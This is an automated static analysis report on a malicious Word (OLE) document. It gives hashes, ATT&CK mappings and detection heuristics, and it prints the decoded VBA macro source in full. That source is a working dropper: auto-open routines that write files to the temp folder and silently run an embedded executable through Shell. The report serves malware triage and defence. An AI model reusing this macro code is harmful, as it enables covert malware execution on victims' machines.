Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7f922754450940f9…

MALICIOUS

Office (OLE)

180.0 KB Created: 2015-11-23 08:07:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: 545749a3618e06dafb17c92f223b158b SHA-1: 15e236dc562038675fb689838f6a4bd4f4df17c6 SHA-256: 7f922754450940f99fe77d9c314fce73eae10f694cd7611ab0f1b57caafbe2ee
654 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The macros trigger an AutoOpen event and use CreateObject to open a document from a path constructed using environment variables and temporary directory names, which then executes an embedded PE executable. This indicates a downloader or dropper functionality, aiming to fetch and run a second-stage payload.

Heuristics 19

  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Ole10Native package payload is a download-and-execute script critical OFFICE_PACKAGE_SCRIPT_DROPPER
    The OLE Package's embedded payload contains a script that hosts a shell (PowerShell/WScript/mshta), fetches a remote resource, and executes it — a download-and-run dropper. Embedding such a script inside an Office document via the Object Packager is a direct user-execution delivery technique (MITRE T1204.002), not a benign attachment.
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    byquhdkasd = Shell(nq, 0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set kkKJNsdbS = CreateObject("Word.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Environ$(VVHSDSA) + EERATSDSDD
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://purl.org/dc/dcmitype/ Embedded OLE package script
    • http://www.w3.org/2001/XMLSchemaEmbedded OLE package script
    • http://schemas.openxmlformats.org/package/2006/metadata/core-propertiesEmbedded OLE package script
    • http://purl.org/dc/elements/1.1/Embedded OLE package script
    • http://www.w3.org/XML/1998/namespaceEmbedded OLE package script
    • http://purl.org/dc/terms/Embedded OLE package script
    • http://www.w3.org/2001/03/xml.xsdEmbedded OLE package script
    • http://purl.org/dc/termsEmbedded OLE package script
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1990 bytes
SHA-256: e28d289ce3ebddc8977c6233f4a2a4d4ab99b29f9079c37cb53e2b1ecb98d4fd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub BuugBsds()
    OIJFKASD = "';as[];da's\; 'asld'as;"
    QQOJnajs
End Sub
Sub Workbook_Open()
    FHUAKJWQD = "nvbkiljodiwq; asdj"
    QQOJnajs
End Sub
Sub QQOJnajs()
Dim AFCCC As String, haa As Integer
EERATSDSDD = Chr(92)
VVHSDSA = "TE" & "" + "M"
haa = -6 + DatePart("ww", "03/02/2012")
On Error Resume Next
VVHSDSA = VVHSDSA & "P"
ERTP = _
Environ$(VVHSDSA) + EERATSDSDD
WWEE = "."
TYTY = WWEE & "e" + Chr(121 + haa) + "e"
JNBBH = WWEE + "rtf"

AFAAA = ERTP + "552" + JNBBH
AFBBB = ERTP + "553" + JNBBH
AFCCC = ERTP + "ttks1" + TYTY


SantiK (AFAAA)
SantiK (AFBBB)
Wakawair (2)
Set kkKJNsdbS = CreateObject("Word.Application")
kkKJNsdbS.Visible = False
kkKJNsdbS.Documents.Open (AFAAA)
Wakawair (2)
HQUDHSA = Module1.Nuhwdbas(AFCCC)
Wakawair (1)
kkKJNsdbS.Quit
Set kkKJNsdbS = Nothing
End Sub
Public Function SantiK(Name As String)
    ActiveDocument.SaveAs FileName:=Name, FileFormat:=wdFormatRTF
End Function
Sub AutoOpen()
    BKHJQWDAS = "a'[oq 0dq2po-o [p;lkdas"
    BuugBsds
End Sub

Sub Wakawair(Sokora As Long)
Dim HJBDAS As String, Molokdwd As Long
Molokdwd = Timer + Sokora
Do While Timer < Molokdwd
DoEvents
Loop
WJLKANDJ = ";laks d[qw-=q-o [pasd"
End Sub
Sub Auto_Open()
    QQOJnajs
    RUYAHJSKD = "qw[dl]pas ldp; las"
End Sub
















Attribute VB_Name = "Module1"
Sub QQOJnajs()
Dim hqwdu As String
BHJAS = "askdjkhasd"
HQUWDJASBD = "qkwjd qw"
End Sub
Public Function Nuhwdbas(nq As String)
Dim byquhdkasd As Variant
byquhdkasd = Shell(nq, 0)
BGQYGWDKYASD = "qwidhjkqwh ghasjgdhja gyqwduwqgd"
End Function
Public Function NuhwdbasS()
BHQJGDJASD = "qnwdjkhhq wjkdghqjdq w"
End Function
embedded_office_00006459.exe embedded-pe Office MZ+PE at offset 0x6459 158635 bytes
SHA-256: 7521db4f28939c30cb90fcd22e226ecb6632a62b04b40c2e1c5c0800e67ed769
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): CScript students 566 Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1509801864/Ole10Native 133869 bytes
SHA-256: 48be68fd564d1433d698422e8c587963d6f580d290ec3ae7d446e9f980aec317
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): CScript students 566
ole10native_00_ttks1.exe ole-package-payload OLE Ole10Native payload: ObjectPool/_1509801864/Ole10Native; display_name=ttks1.exe; full_path=C:\Users\M\AppData\Local\Temp\ttks1.exe; temp_path=; def_file= 133632 bytes
SHA-256: 70547c969ff1e7e35b616a49ebff9716ba8ab4cee8648ff0809ae8e963b87326
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): CScript students 566